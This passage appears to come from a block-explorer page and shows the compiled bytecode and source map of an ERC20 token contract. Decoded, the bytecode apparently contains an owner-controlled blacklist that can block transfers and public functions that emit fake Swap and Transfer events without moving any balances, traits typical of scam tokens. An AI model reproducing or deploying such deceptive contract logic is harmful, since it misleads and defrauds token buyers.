fffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e7b91906115b6565b60405180910390a3505050565b6000610e948484610baa565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f0e5781811015610f00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef790611ced565b60405180910390fd5b610f0d8484848403610cbd565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7b90611d7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610feb90611e11565b60405180910390fd5b610fff8383836112d1565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107d90611ea3565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161117691906115b6565b60405180910390a36111898484846112d6565b50505050565b611197610cb5565b73ffffffffffffffffffffffffffffffffffffffff166111b561095c565b73ffffffffffffffffffffffffffffffffffffffff161461120b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120290611f0f565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113775750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113d35760011515600760009054906101000a900460ff161515146113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990611f55565b60405180910390fd5b5b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114125780820151818401526020810190506113f7565b83811115611421576000848401525b50505050565b6000601f19601f8301169050919050565b6000611443826113d8565b61144d81856113e3565b935061145d8185602086016113f4565b61146681611427565b840191505092915050565b6000602082019050818103600083015261148b8184611438565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114c88261149d565b9050919050565b6114d8816114bd565b81146114e357600080fd5b50565b6000813590506114f5816114cf565b92915050565b6000819050919050565b61150e816114fb565b811461151957600080fd5b50565b60008135905061152b81611505565b92915050565b6000806040838503121561154857611547611493565b5b6000611556858286016114e6565b92505060206115678582860161151c565b9150509250929050565b60008115159050919050565b61158681611571565b82525050565b60006020820190506115a1600083018461157d565b92915050565b6115b0816114fb565b82525050565b60006020820190506115cb60008301846115a7565b92915050565b6000806000606084860312156115ea576115e9611493565b5b60006115f8868287016114e6565b9350506020611609868287016114e6565b925050604061161a8682870161151c565b9150509250925092565b600060ff82169050919050565b61163a81611624565b82525050565b60006020820190506116556000830184611631565b92915050565b60006020828403121561167157611670611493565b5b600061167f848285016114e6565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126116ad576116ac611688565b5b8235905067ffffffffffffffff8111156116ca576116c961168d565b5b6020830191508360208202830111156116e6576116e5611692565b5b9250929050565b6000806020838503121561170457611703611493565b5b600083013567ffffffffffffffff81111561172257611721611498565b5b61172e85828601611697565b92509250509250929050565b60008060008060006080868803121561175657611755611493565b5b6000611764888289016114e6565b955050602086013567ffffffffffffffff81111561178557611784611498565b5b61179188828901611697565b945094505060406117a48882890161151c565b92505060606117b58882890161151c565b9150509295509295909350565b6117cb816114bd565b82525050565b60006020820190506117e660008301846117c2565b92915050565b6000806040838503121561180357611802611493565b5b6000611811858286016114e6565b9250506020611822858286016114e6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061187357607f821691505b602082108114156118875761188661182c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118c7826114fb565b91506118d2836114fb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119075761190661188d565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061194c826114fb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561197f5761197e61188d565b5b600182019050919050565b6000819050919050565b6000819050919050565b60006119b96119b46119af8461198a565b611994565b6114fb565b9050919050565b6119c98161199e565b82525050565b60006080820190506119e460008301876115a7565b6119f160208301866119c0565b6119fe60408301856119c0565b611a0b60608301846115a7565b95945050505050565b6000608082019050611a2960008301876119c0565b611a3660208301866115a7565b611a4360408301856115a7565b611a5060608301846119c0565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ab56025836113e3565b9150611ac082611a59565b604082019050919050565b60006020820190508181036000830152611ae481611aa8565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611b476026836113e3565b9150611b5282611aeb565b604082019050919050565b60006020820190508181036000830152611b7681611b3a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611bd96024836113e3565b9150611be482611b7d565b604082019050919050565b60006020820190508181036000830152611c0881611bcc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c6b6022836113e3565b9150611c7682611c0f565b604082019050919050565b60006020820190508181036000830152611c9a81611c5e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611cd7601d836113e3565b9150611ce282611ca1565b602082019050919050565b60006020820190508181036000830152611d0681611cca565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d696025836113e3565b9150611d7482611d0d565b604082019050919050565b60006020820190508181036000830152611d9881611d5c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dfb6023836113e3565b9150611e0682611d9f565b604082019050919050565b60006020820190508181036000830152611e2a81611dee565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e8d6026836113e3565b9150611e9882611e31565b604082019050919050565b60006020820190508181036000830152611ebc81611e80565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ef96020836113e3565b9150611f0482611ec3565b602082019050919050565b60006020820190508181036000830152611f2881611eec565b9050919050565b50565b6000611f3f6000836113e3565b9150611f4a82611f2f565b600082019050919050565b60006020820190508181036000830152611f6e81611f32565b905091905056fea2646970667358221220ecfa01fe398b13296f6b7bda62ae7e5f127569500c209a4a8f92a98d6133671464736f6c634300080c0033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad57806397541e9f1161007157806397541e9f14610331578063a457c2d71461034d578063a9059cbb1461037d578063dd62ed3e146103ad578063f2fde38b146103dd5761012c565b8063715018a6146102b357806373ed6b13146102bd5780638da5cb5b146102d957806395d89b41146102f7578063963e1e54146103155761012c565b806332a0e002116100f457806332a0e002146101eb578063395093511461021b5780634bf894411461024b578063618a2f5e1461026757806370a08231146102835761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d578063313ce567146101cd575b600080fd5b6101396103f9565b6040516101469190611471565b60405180910390f35b61016960048036038101906101649190611531565b61048b565b604051610176919061158c565b60405180910390f35b6101876104ae565b60405161019491906115b6565b60405180910390f35b6101b760048036038101906101b291906115d1565b6104b8565b6040516101c4919061158c565b60405180910390f35b6101d56104e7565b6040516101e29190611640565b60405180910390f35b6102056004803603810190610200919061165b565b6104f0565b604051610212919061158c565b60405180910390f35b61023560048036038101906102309190611531565b610546565b604051610242919061158c565b60405180910390f35b610265600480360381019061026091906116ed565b61057d565b005b610281600480360381019061027c919061173a565b61062a565b005b61029d6004803603810190610298919061165b565b610794565b6040516102aa91906115b6565b60405180910390f35b6102bb6107dd565b005b6102d760048036038101906102d2919061173a565b6107f1565b005b6102e161095c565b6040516102ee91906117d1565b60405180910390f35b6102ff610985565b60405161030c9190611471565b60405180910390f35b61032f600480360381019061032a91906116ed565b610a17565b005b61034b6004803603810190610346919061165b565b610ac4565b005b61036760048036038101906103629190611531565b610b10565b604051610374919061158c565b60405180910390f35b61039760048036038101906103929190611531565b610b87565b6040516103a4919061158c565b60405180910390f35b6103c760048036038101906103c291906117ec565b610baa565b6040516103d491906115b6565b60405180910390f35b6103f760048036038101906103f2919061165b565b610c31565b005b6060600580546104089061185b565b80601f01602080910402602001604051908101604052809291908181526020018280546104349061185b565b80156104815780601f1061045657610100808354040283529160200191610481565b820191906000526020600020905b81548152906001019060200180831161046457829003601f168201915b5050505050905090565b600080610496610cb5565b90506104a3818585610cbd565b600191505092915050565b6000600454905090565b6000806104c3610cb5565b90506104d0858285610e88565b6104db858585610f14565b60019150509392505050565b60006012905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080610551610cb5565b90506105728185856105638589610baa565b61056d91906118bc565b610cbd565b600191505092915050565b61058561118f565b60005b82829050811015610625576000600260008585858181106105ac576105ab611912565b5b90506020020160208101906105c1919061165b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061061d90611941565b915050610588565b505050565b60005b8484905081101561078c5784848281811061064b5761064a611912565b5b9050602002016020810190610660919061165b565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516106c394939291906119cf565b60405180910390a38484828181106106de576106dd611912565b5b90506020020160208101906106f3919061165b565b73ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161077191906115b6565b60405180910390a3808061078490611941565b91505061062d565b505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107e561118f565b6107ef600061120d565b565b60005b848490508110156109545784848281811061081257610811611912565b5b9050602002016020810190610827919061165b565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82260008686600060405161088b9493929190611a14565b60405180910390a3600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168585838181106108df576108de611912565b5b90506020020160208101906108f4919061165b565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161093991906115b6565b60405180910390a3808061094c90611941565b9150506107f4565b505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109949061185b565b80601f01602080910402602001604051908101604052809291908181526020018280546109c09061185b565b8015610a0d5780601f106109e257610100808354040283529160200191610a0d565b820191906000526020600020905b8154815290600101906020018083116109f057829003601f168201915b5050505050905090565b610a1f61118f565b60005b82829050811015610abf57600160026000858585818110610a4657610a45611912565b5b9050602002016020810190610a5b919061165b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ab790611941565b915050610a22565b505050565b610acc61118f565b80600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610b1b610cb5565b90506000610b298286610baa565b905083811015610b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6590611acb565b60405180910390fd5b610b7b8286868403610cbd565b60019250505092915050565b600080610b92610cb5565b9050610b9f818585610f14565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c3961118f565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca090611b5d565b60405180910390fd5b610cb28161120d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2490611bef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9490611c81565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e7b91906115b6565b60405180910390a3505050565b6000610e948484610baa565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f0e5781811015610f00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef790611ced565b60405180910390fd5b610f0d8484848403610cbd565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7b90611d7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610feb90611e11565b60405180910390fd5b610fff8383836112d1565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107d90611ea3565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161117691906115b6565b60405180910390a36111898484846112d6565b50505050565b611197610cb5565b73ffffffffffffffffffffffffffffffffffffffff166111b561095c565b73ffffffffffffffffffffffffffffffffffffffff161461120b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120290611f0f565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113775750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113d35760011515600760009054906101000a900460ff161515146113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990611f55565b60405180910390fd5b5b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114125780820151818401526020810190506113f7565b83811115611421576000848401525b50505050565b6000601f19601f8301169050919050565b6000611443826113d8565b61144d81856113e3565b935061145d8185602086016113f4565b61146681611427565b840191505092915050565b6000602082019050818103600083015261148b8184611438565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114c88261149d565b9050919050565b6114d8816114bd565b81146114e357600080fd5b50565b6000813590506114f5816114cf565b92915050565b6000819050919050565b61150e816114fb565b811461151957600080fd5b50565b60008135905061152b81611505565b92915050565b6000806040838503121561154857611547611493565b5b6000611556858286016114e6565b92505060206115678582860161151c565b9150509250929050565b60008115159050919050565b61158681611571565b82525050565b60006020820190506115a1600083018461157d565b92915050565b6115b0816114fb565b82525050565b60006020820190506115cb60008301846115a7565b92915050565b6000806000606084860312156115ea576115e9611493565b5b60006115f8868287016114e6565b9350506020611609868287016114e6565b925050604061161a8682870161151c565b9150509250925092565b600060ff82169050919050565b61163a81611624565b82525050565b60006020820190506116556000830184611631565b92915050565b60006020828403121561167157611670611493565b5b600061167f848285016114e6565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126116ad576116ac611688565b5b8235905067ffffffffffffffff8111156116ca576116c961168d565b5b6020830191508360208202830111156116e6576116e5611692565b5b9250929050565b6000806020838503121561170457611703611493565b5b600083013567ffffffffffffffff81111561172257611721611498565b5b61172e85828601611697565b92509250509250929050565b60008060008060006080868803121561175657611755611493565b5b6000611764888289016114e6565b955050602086013567ffffffffffffffff81111561178557611784611498565b5b61179188828901611697565b945094505060406117a48882890161151c565b92505060606117b58882890161151c565b9150509295509295909350565b6117cb816114bd565b82525050565b60006020820190506117e660008301846117c2565b92915050565b6000806040838503121561180357611802611493565b5b6000611811858286016114e6565b9250506020611822858286016114e6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061187357607f821691505b602082108114156118875761188661182c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118c7826114fb565b91506118d2836114fb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119075761190661188d565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061194c826114fb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561197f5761197e61188d565b5b600182019050919050565b6000819050919050565b6000819050919050565b60006119b96119b46119af8461198a565b611994565b6114fb565b9050919050565b6119c98161199e565b82525050565b60006080820190506119e460008301876115a7565b6119f160208301866119c0565b6119fe60408301856119c0565b611a0b60608301846115a7565b95945050505050565b6000608082019050611a2960008301876119c0565b611a3660208301866115a7565b611a4360408301856115a7565b611a5060608301846119c0565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ab56025836113e3565b9150611ac082611a59565b604082019050919050565b60006020820190508181036000830152611ae481611aa8565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611b476026836113e3565b9150611b5282611aeb565b604082019050919050565b60006020820190508181036000830152611b7681611b3a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611bd96024836113e3565b9150611be482611b7d565b604082019050919050565b60006020820190508181036000830152611c0881611bcc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c6b6022836113e3565b9150611c7682611c0f565b604082019050919050565b60006020820190508181036000830152611c9a81611c5e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611cd7601d836113e3565b9150611ce282611ca1565b602082019050919050565b60006020820190508181036000830152611d0681611cca565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d696025836113e3565b9150611d7482611d0d565b604082019050919050565b60006020820190508181036000830152611d9881611d5c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dfb6023836113e3565b9150611e0682611d9f565b604082019050919050565b60006020820190508181036000830152611e2a81611dee565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e8d6026836113e3565b9150611e9882611e31565b604082019050919050565b60006020820190508181036000830152611ebc81611e80565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ef96020836113e3565b9150611f0482611ec3565b602082019050919050565b60006020820190508181036000830152611f2881611eec565b9050919050565b50565b6000611f3f6000836113e3565b9150611f4a82611f2f565b600082019050919050565b60006020820190508181036000830152611f6e81611f32565b905091905056fea2646970667358221220ecfa01fe398b13296f6b7bda62ae7e5f127569500c209a4a8f92a98d6133671464736f6c634300080c0033
Deployed Bytecode Sourcemap
80:128:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2252:98:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5044:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3855:106;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5803:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3189:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3691:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6484:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3487:198;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8910:299;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4019:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2510:101:0;;;:::i;:::-;;9214:300:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1887:85:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2463:102:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3286:195;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9791:62;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7205:427;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4340:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4587:149;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2760:198:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2252:98:1;2306:13;2338:5;2331:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2252:98;:::o;5044:197::-;5127:4;5143:13;5159:12;:10;:12::i;:::-;5143:28;;5181:32;5190:5;5197:7;5206:6;5181:8;:32::i;:::-;5230:4;5223:11;;;5044:197;;;;:::o;3855:106::-;3916:7;3942:12;;3935:19;;3855:106;:::o;5803:286::-;5930:4;5946:15;5964:12;:10;:12::i;:::-;5946:30;;5986:38;6002:4;6008:7;6017:6;5986:15;:38::i;:::-;6034:27;6044:4;6050:2;6054:6;6034:9;:27::i;:::-;6078:4;6071:11;;;5803:286;;;;;:::o;3189:91::-;3247:5;3271:2;3264:9;;3189:91;:::o;3691:104::-;3748:4;3771:8;:17;3780:7;3771:17;;;;;;;;;;;;;;;;;;;;;;;;;3764:24;;3691:104;;;:::o;6484:234::-;6572:4;6588:13;6604:12;:10;:12::i;:::-;6588:28;;6626:64;6635:5;6642:7;6679:10;6651:25;6661:5;6668:7;6651:9;:25::i;:::-;:38;;;;:::i;:::-;6626:8;:64::i;:::-;6707:4;6700:11;;;6484:234;;;;:::o;3487:198::-;1780:13:0;:11;:13::i;:::-;3578:9:1::1;3573:106;3597:11;;:18;;3593:1;:22;3573:106;;;3663:5;3636:8;:24;3645:11;;3657:1;3645:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3636:24;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;3617:3;;;;;:::i;:::-;;;;3573:106;;;;3487:198:::0;;:::o;8910:299::-;9027:9;9022:181;9046:11;;:18;;9042:1;:22;9022:181;;;9120:11;;9132:1;9120:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9090:45;;9095:6;9090:45;;;9103:3;9108:1;9111;9114:4;9090:45;;;;;;;;;:::i;:::-;;;;;;;;9171:11;;9183:1;9171:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9154:38;;9163:6;;;;;;;;;;;9154:38;;;9187:4;9154:38;;;;;;:::i;:::-;;;;;;;;9066:3;;;;;:::i;:::-;;;;9022:181;;;;8910:299;;;;;:::o;4019:125::-;4093:7;4119:9;:18;4129:7;4119:18;;;;;;;;;;;;;;;;4112:25;;4019:125;;;:::o;2510:101:0:-;1780:13;:11;:13::i;:::-;2574:30:::1;2601:1;2574:18;:30::i;:::-;2510:101::o:0;9214:300:1:-;9333:9;9328:180;9352:11;;:18;;9348:1;:22;9328:180;;;9426:11;;9438:1;9426:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9396:45;;9401:6;9396:45;;;9409:1;9412:3;9417:4;9423:1;9396:45;;;;;;;;;:::i;:::-;;;;;;;;9485:6;;;;;;;;;;;9460:37;;9469:11;;9481:1;9469:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9460:37;;;9493:3;9460:37;;;;;;:::i;:::-;;;;;;;;9372:3;;;;;:::i;:::-;;;;9328:180;;;;9214:300;;;;;:::o;1887:85:0:-;1933:7;1959:6;;;;;;;;;;;1952:13;;1887:85;:::o;2463:102:1:-;2519:13;2551:7;2544:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2463:102;:::o;3286:195::-;1780:13:0;:11;:13::i;:::-;3375:9:1::1;3370:105;3394:11;;:18;;3390:1;:22;3370:105;;;3460:4;3433:8;:24;3442:11;;3454:1;3442:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3433:24;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;3414:3;;;;;:::i;:::-;;;;3370:105;;;;3286:195:::0;;:::o;9791:62::-;1780:13:0;:11;:13::i;:::-;9850:1:1::1;9841:6;;:10;;;;;;;;;;;;;;;;;;9791:62:::0;:::o;7205:427::-;7298:4;7314:13;7330:12;:10;:12::i;:::-;7314:28;;7352:24;7379:25;7389:5;7396:7;7379:9;:25::i;:::-;7352:52;;7442:15;7422:16;:35;;7414:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7533:60;7542:5;7549:7;7577:15;7558:16;:34;7533:8;:60::i;:::-;7621:4;7614:11;;;;7205:427;;;;:::o;4340:189::-;4419:4;4435:13;4451:12;:10;:12::i;:::-;4435:28;;4473;4483:5;4490:2;4494:6;4473:9;:28::i;:::-;4518:4;4511:11;;;4340:189;;;;:::o;4587:149::-;4676:7;4702:11;:18;4714:5;4702:18;;;;;;;;;;;;;;;:27;4721:7;4702:27;;;;;;;;;;;;;;;;4695:34;;4587:149;;;;:::o;2760:198:0:-;1780:13;:11;:13::i;:::-;2868:1:::1;2848:22;;:8;:22;;;;2840:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2923:28;2942:8;2923:18;:28::i;:::-;2760:198:::0;:::o;640:96::-;693:7;719:10;712:17;;640:96;:::o;12132:370:1:-;12280:1;12263:19;;:5;:19;;;;12255:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12360:1;12341:21;;:7;:21;;;;12333:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12442:6;12412:11;:18;12424:5;12412:18;;;;;;;;;;;;;;;:27;12431:7;12412:27;;;;;;;;